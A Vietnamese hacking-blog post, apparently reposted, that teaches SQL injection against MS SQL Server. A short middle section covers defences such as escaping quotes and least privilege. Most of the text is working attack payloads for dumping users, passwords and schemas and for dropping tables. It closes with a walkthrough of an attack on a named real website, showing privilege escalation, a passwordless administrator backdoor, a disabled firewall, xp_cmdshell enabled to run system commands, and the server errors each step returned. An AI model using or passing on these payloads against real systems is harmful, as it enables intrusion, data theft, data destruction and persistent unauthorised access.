Trao đổi với tôi

http://www.buidao.com

12/7/09

[Hacking] Kiến thức về SQL Injection (p2)

Phần II:

Vâng thưa các bạn SQL injection thật thú vị, và đây là điều ta có thể làm trong bài viết hôm nay của tôi : Lấy sạch database của đối phương.

1) Lấy hết value của một column đã biết trong một table đã biết
Bí quyết ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước):
Với Vuser là admin ta có thể lấy được các user khác

—–Login Page ::::::
username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’)—
————————-
Vâng, sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in ( vd: Not in (‘admin’,’hacker’,….)) cứ làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password).

**** Ðể lấy danh sách tên các user theo một quy định mà bạn chọn , ví dụ chi lấy các user có chứa từ admin chẳng hạn ta dùng “like” : cấu trúc

—–Login Page ::::::
username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’) like %admin%—
————————-

2) Lấy hết table và column của của database:
Bí quyết chính là table này của database : INFORMATION_SCHEMA.TABLES với column TABLE_NAME (chứa toàn bộ table) và table : INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứa toàn bộ column)

Cách sử dụng dùng Union:

—–Login page :::::::
username: ‘ UNION SELECT TABLE_NAME,1,1,1…,1 FROM INFORMATION_SCHEMA.TABLES WHERE …….
—————————

Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó :

—–Login page :::::::
username: ‘ UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’… ’ and ……
—————————

Trên đây là những điều căn bản nhất về SQl injection mà tôi có thể cung cấp cho các bạn, còn làm được tốt hay không thì phải có một chút sáng tạo nữa hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQl injection
Phần III:

1) Không cần UNION:

Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng “Convert” một cách dẽ dàng hơn để thu thập info qua các thông báo lỗi

Structure :

—login page::::

user : ‘ + convert (int,(select @@version))–
————————-

Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái “select @@version” nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé

vd: user : ‘ + convert (int,(select Vpass from Vtable where Vuser=’admin’))–

Lưu ý : Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b

vd: user : ‘ %2b convert (int,(select Vpass from Vtable where Vuser=’admin’))–

2) Run command SQL :

Đề run command bạn có thể dùng dấu “;”

Structure :

login page :::::
user :’ ; [command]–
—————————–

vd: ‘; DROP TABLE VTABLE–

Nếu các bạn rành về SQL thì có thể làm được rất nhiều điều thú vị qua cái này , nhưng tớ xin để phần đó cho các bạn tự nghiên cứu nhé

Chống tấn công kiểu SQL Injection

Xin lỗi anh em,bài này mình chưa chuyển qua Tv có dấu,mình sẽ cố gắng sửa nó.Anh em đọc tạm vậy

SQL Injection la gi ?
Viec thiet ke va dua website vao hoat dong luon doi hoi cac nha phat trien phai quan tam den van de va an toan, bao mat nham giam thieu toi da kha nang bi hacker tan cong. Thuong cac nha phat trien tap trung vao cac van de an toan cua he dieu hanh, he quan tri CSAL, webserver…chang han nhu hong bao mat tren IIS. Tuy nhien, co mot nguy co tiem an it duoc quan tam do la cac doan ma cua ung dung, mot trong so do la tan cong bang SQL injection.
SQL Injection la mot ki thuat cho phap nhung ke tan cong thi hanh cac cau lenh truy van SQL bat hop phap bang cac loi dung lo hong trong viec kiem tra de lieu nhau tu cac ung dung web..hau qua nay rat tai hai vi no cho phap ke tan cong co toan quyen , hieu chinh..tren co so du lieu cua ung dung, loi nay thuong xay ra tren cac ung dung web co du lieu duoc quan li bang cac he quan tri CSDL nhu SQL server, Oracle, DB2, Sysbase.
Xet mot vi du dien hinh, thong thuong de cho phet nguoi dung truy cap vao cac trang web duoc bao mat..he thong thuong xay dung trang dang nhap de yeu cau nguoi dung nhap thong tin ve ten dang nhap va password. Sau khi nguoi dung nhap thong tin vao, he thong se kiem tra ten dang nhap va mat khau co hop le huy khong de quyet dinh cho phep hay tu choi thuc hien tren.
Trong truong hop nay, nguoi ta co the dung 2 trang, mot trang HTML de hien thi Form nhap lieu va mot trang ASP dung de xu li thong tin nhap tu phia nguoi dung. Vd :

Login.htm
< form action="”Execlogin.asp”method="”post”">
username :

password :


< /form>

ExecLogin.asp
<%
Dim p_strausername, p_strPassword, objRS, serSQL
P_serUsername =
Request, Form ( “txtusername”)
P_serPassword =
Request.Form(“txtPassword”)
serSQL = “SELECT * FORM tblUsers “ & _”WHERE Username=’ “
& _strUsername & _
“` and Password=’ “ & p-strPassword & “ ` “
Set objRS =
Server.CreateObject ( “ADODB.Recordset”)
objRS.open strSQL, “DSN=…”
if (objRS.EOF) Then
Response.write “invalid login.”
Else
Response.write “ you are logged in as “ & objRS (“Username”)
End If
Set objRS = Nothing
%>

thoat nhin, doan ma trong trang ExecLogin.asp duong nhu khong chua bat cu ,pt lo hong bao mat nao,. Nguoi dung khong the dang nhap ma khong co ten dang nhap va mat khau hop le. Tuy nhien, doan ma nay thus su khong an toan va la tien de cho tan cong SQL Injection. Dat biet, so ho nam o cho du lieu nguoi dung nhap vao duoc nam o cho du lieu nguoi dung nhap vao duoc dung de xay dung truc tiep cau lenh truy van SQL ..chinh dieu nay cho phep nung ke tan cong co the dieu khine duoc cau truy van se duoc thuc hien.
Vi du, neu nguoi dung nhap chuoi sau vao trong ca 2 o nhap lieu username/passowrd cua trang login.htm “
‘ or”=’. Luc nay, cau truy van se duoc goi thuc hien la :

SELECT * FORM tblUsers WHERE Username=’ ‘ or “=’’ and Password = `’or`’=`’

Cau truy van nay la hop le va se tra ve tat ca cac ban ghi cua tblUsers, va doan ma tiep theo su li nguoi dung dang nhap bat hop phap nay nhu la nguoi dung dang nhap hop le.
Mot vi du khac cua tan cong SQL Injection nua la khi cac trang web su dung du lieu nhap vao theo dang querystring ( bang cach go cap tham so va gia tri truc tiep trang thanh dia chi hoac dung form voi thuc tinh ACCTION La GET . vi du sau minh hoa mot trang ASP nhan du lieu cho bien ID thong qua querystring va phat sinh noi dung cua trang do dua tren ID :

<%
Dim P-lngID, objRS, StrSQL
P_lngID = Request ( “ID”)
strSQL = “SELECT * FORM
tblArticles WHERE ID=” & p_lngID
Set objRS =
Server.CreateObject(“ADODB.Recordeset”)
ObjRS.Open strSQL, “DSN=…”
If ( Not objRS.EOF) then
Response.Write
ObjRS(“ArticleContent”)
Set ObjRS = Nothing
%>

trong cac tinh huong thong thuong, doan ma nay hien thi noi dung cua Aricle co ID trung voi ID duoc chuyen den cho no duoi dang querystring. Vi du, trang nay co the duoc goi nhu sau :
http://www.examlpe.com/Article.asp?ID=1055, de hien thi noi dung cua article co ID la 1055
giong nhu vi du dang nhap o tren. Doan ma nay de lo so ho cho kha nang tan cong SQL Injection, ke tan cong co the thay the mot ID hop la bang cach gan ID cho mot gia tri khac, de thuc hien mot lenh SQL bat hop phap, vi du nhu : 0 or 1=1
cau truy van SQL luc nay se tra ve tat ca cac article tu bang du lieu vi no se thuc hien cau lenh :

SELCT * FORM tblArticles WHERE
ID=0 or 1=1

Tat nhien vi du nay duong nhu khong co gi nguy hiem nhung hay thu tuong tuong ke tan cong co the xoa toan bo CSDL bang cach chen vao cac doan lenh nguy hiem nhun lenh DELETE. Tat ca chi chi la don gian thay doi chuoi gan du lieu cho ID, vi du nhu :
http://examlpe.com/Article.asp?ID=1055; DELETE FORM tblArticles.

Tac hai va cach phong chong :
Tac hai cua dang tan cong SQL Injection tuy thuoc vao moi truong va cach cau hinh he thong. Neu ung dung su dung quyen dbo ( Quyen cua nguoi so huu CSDL ) khi thao tac du lieu. No co the xua toan bo cac bang du lieu. Tao cac bang du lieu moi…neu ung dung su dung quyen sa ( quyan quan tri he thong ). No co the dieu khien toan bo he CSDL va tham chi co the tao ra cac tai khoan nguoi dung bat hop phap de dieu khien he thong cua ban.
De phong tranh cac nguy co co the xay ra, hay bao ve cac cau truy van SQl bang cach kiem soat chan che tat ca cac du lieu nhap nhan duoc tu doi tuong Request ( Request, Request.QuuryString, Request.Form, Request.Cookies, va Request.Server Variables )
Trong truong hop du lieu nhap vao la chuoi, nhu trong vi du 1 , loi xuat phat tu viec co dau nhay don trong du lieu. De tranh dieu nay, thay the cac dau nhay don bang ham Replace de thay the bang 2 dau nhay don :

P_strUsername =
Replace(Request.Form(“txtUsrname”) , “ ` “, “`’” )
P_srtpassword =
Replace(Request.Form(“txtPassword”) , “ ` “, “`’” )

Trong truong hop du lieu nhap vao la so, nhu trong di du 2 , loi xuat phat tu viec thay the mot gia tri duoc tien doan la du lieu so bang chuoi chua cau lenh SQL Injection bat hop phap. De tranh dieu nay, don gian la kiem tra du lieu co dung kieu nay hay khong :

P_IngID = CLng (Request (“ID”))

Nhu vay, neu nguoi dung truyen vao mot chuoi, ham nay se tra ve loi ngay lap tuc.
Ngoai ra de tranh cac nguy co tu tan cong SQL Injection, nen chu y loai bo bat ki thong tin ki thuat nao chua trong thong diep chuyen toi cho nguoi dung khi ung dung co loi. Cac thong bao loi thong thuong tiet lo cac chi tiet ki thuat co the cho phep ke tan cong biet duoc dieu yeu cua he thong.
Cuoi cung. De han che thiet hai do tan cong SQL Injection, nen kiem soat chat che va giai han queyn xu li du lieu cua tai khoan nguoi dung ma dung dung web dang su dung. Cac dung dung thuong nen tranh dung cac quyen nhu dbo hay sa. Quyen cang han che, thiet hai thi se cach it thoi.

PHẦN 3:
PHÁT HIỆN LỖI SQL-INJECTION

http://www.company.com/product/price.asp?id=1
select price from product where id=1
http://www.company.com/product/price.asp?id=1’
select price from product where id=1’
Unclosed quotation mark before the character string ‘
http://www.company.com/product/price.asp?id=[…]

KĨ THUẬT CONVERT-MAGIC

http://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) –sp_password
select price from product where id=1 and 1=convert(int,@@version)–sp_password

Syntax error converting the nvarchar value ‘Microsoft SQL Server 7.00 – 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright © 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)’ to a column of data type int.
’sp_password’ was found in the text of this event.– The text has been replaced with this comment for security reasons.

• @@servername, db_name(), system_user, …
• ‘ “ ( )

LỖI CROSS-DATABASE CỦA MS-SQL
use testdatabase
create proc dbo.test as select * from master.dbo.sysxlogins
go
exec test
select * from master.dbo.sysxlogins
• sa == dbo
• db_owner có thể create & design các object của dbo
• SID của proc dbo.test == SID của master.dbo.sysxlogins

LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY

CREATE PROCEDURE sp_MSdropretry
(@tname sysname, @pname sysname)
as
declare @retcode int
/*
** To public
*/
exec (’drop table ‘ + @tname)
if @@ERROR <> 0 return(1)
exec (’drop procedure ‘ + @pname)
if @@ERROR <> 0 return(1)
return (0)

NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY

exec sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’
exec sp_msdropretry ‘xx update sysusers set sid=0×01 where name=”dbo”’,’xx’
exec sp_msdropretry ‘xx update dbo.test set sid=0×01,roles=0×01 where name=”guest”’,’xx’
exec sp_executesql N’drop view dbo.test‘
drop table xx update sysusers set sid=0×01 where name=’dbo’ drop procedure xx
drop table xx update dbo.test set sid=0×01,roles=0×01 where name=guest drop table xx
• guest == db_owner của database master

MINH HỌA HACK SQL

• Khai thác lỗi sql-injection tại nhaxinh.com.vn
• Một số kinh nghiệm khi hack SQL

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

• dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí
http://www.nhaxinh.com.vn/FullStory.asp?id=1
http://www.nhaxinh.com.vn/FullStory.asp?id=1’

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ”.
/Including/general.asp, line 840\

XÁC ĐỊNH VERSION

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]

[SQL Server]Syntax error converting the nvarchar value ‘Microsoft SQL Server 7.00 – 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ‘ to a column of data type int.
/Including/general.asp, line 840

XÁC ĐỊNH SERVER_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘UNESCO’ to a column of data type int.
/Including/general.asp, line 840

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘NhaXinh’ to a column of data type int.
/Including/general.asp, line 840

http://www.nhaxinh.com.vn/FullStory.asp?
id=1 and 1=convert(int,system_user)–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘nhaxinh’ to a column of data type int.
/Including/general.asp, line 840
• user_name(): các member của “sysadmin” được map sang “dbo”

XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’,”;;,”)–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider ’sqloledb’ has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840
• admin đã disable openrowset/sqloledb, sẽ enable lại sau

ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’ exec sp_msdropretry ‘xx update sysusers set sid=0×01 where name=”dbo”’,’xx’ exec sp_msdropretry ‘xx update dbo.test set sid=0×01,roles=0×01 where name=”guest”’,’xx’ exec sp_executesql N’drop view dbo.test’–
• Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell

XÁC NHẬN GUEST ĐÃ NẰM TRONG DB_OWNER CỦA DATABASE MASTER CHƯA ?

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 name from master..sysusers where roles=0×01 and name not in(’dbo’)))–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘guest’ to a column of data type int.
/Including/general.asp, line 840

CÀI CỬA SAU “BUILTIN\ADMINISTRATORS”

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysxlogins’ exec sp_msdropretry ‘xx update sysusers set sid=0×01 where name=”dbo”’,’xx’ exec sp_msdropretry ‘xx update dbo.test set xstatus=18 where name=”BUILTIN\ADMINISTRATORS”’,’xx’ exec sp_executesql N’drop view dbo.test’–
• login vào database với username là “BUILTIN\ADMINISTRATORS” mà không cần password

TẠI SAO KHÔNG ADD THẲNG USER “NHAXINH” VÀO SYSADMIN?

exec master..sp_addsrvrolemember ‘nhaxinh’,sysadmin
• Lỗi: Invalid object name ‘XXXX’ khi vấn tin CSDL sau này

ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,’SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB’,’AllowInProcess’,REG_DWORD,1 exec master..xp_regwrite HKEY_LOCAL_MACHINE,’SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB’,’DisallowAdhocAccess’,REG_DWO RD,0—

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’,”;;,”)–
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005′
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ‘SYSTEM’.
/Including/general.asp, line 840

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters’,’EnableSecurityFilters’—

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters’,’EnableSecurityFilters’—

LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off exec master..sp_addextendedproc xp_cmd,”xpsql70.dll” exec sp_configure ”allow updates”, ”1” reconfigure with override’)—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object ’set fmtonly off master..sp_addextendedproc xp_cmd ‘xpsql70.dll’ exec sp_configure ‘allow updates’, ‘1′ reconfigure with override’. The OLE DB provider ’sqloledb’ indicates that the object has no columns.
/Including/general.asp, line 840

THÊM DÒNG “SELECT 1” ĐỂ KHẮC PHỤC LỖI

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,”xpsql70.dll” exec sp_configure ”allow updates”, ”1” reconfigure with override’)–
• set “allow updates”=1 cho phép update các “system-table” (sysusers, syslogins,…) trực tiếp, không qua các “system-procedure”

CHÚ Ý KHI CHẠY MASTER..XP_CMDSHELL

• exec master..xp_cmdshell ‘dir c:\’ — “SQLAgentCmdExec”
• select * from openrowset(’sqloledb’, ’server=;uid=BUILTIN\Administrators;p wd=’, ’set fmtonly off select 1 exec master..xp_cmdshell “dir c:\”‘) — “NT AUTHORITY\SYSTEM”

XÁC ĐỊNH IP CỦA SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ‘ipconfig’–
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like ‘%25IP Address%25′))– (%25 == “%”)

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘ IP Address. . . . . . . . . . . . : 203.162.7.70 ‘ to a column of data type int.
/Including/general.asp, line 840

DO THÁM IP “203.162.7.70”

C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).

Link: http://phucjimy.wordpress.com/2008/04/02/ki%E1%BA%BFn-th%E1%BB%A9c-v%E1%BB%81-sql-injection-p2/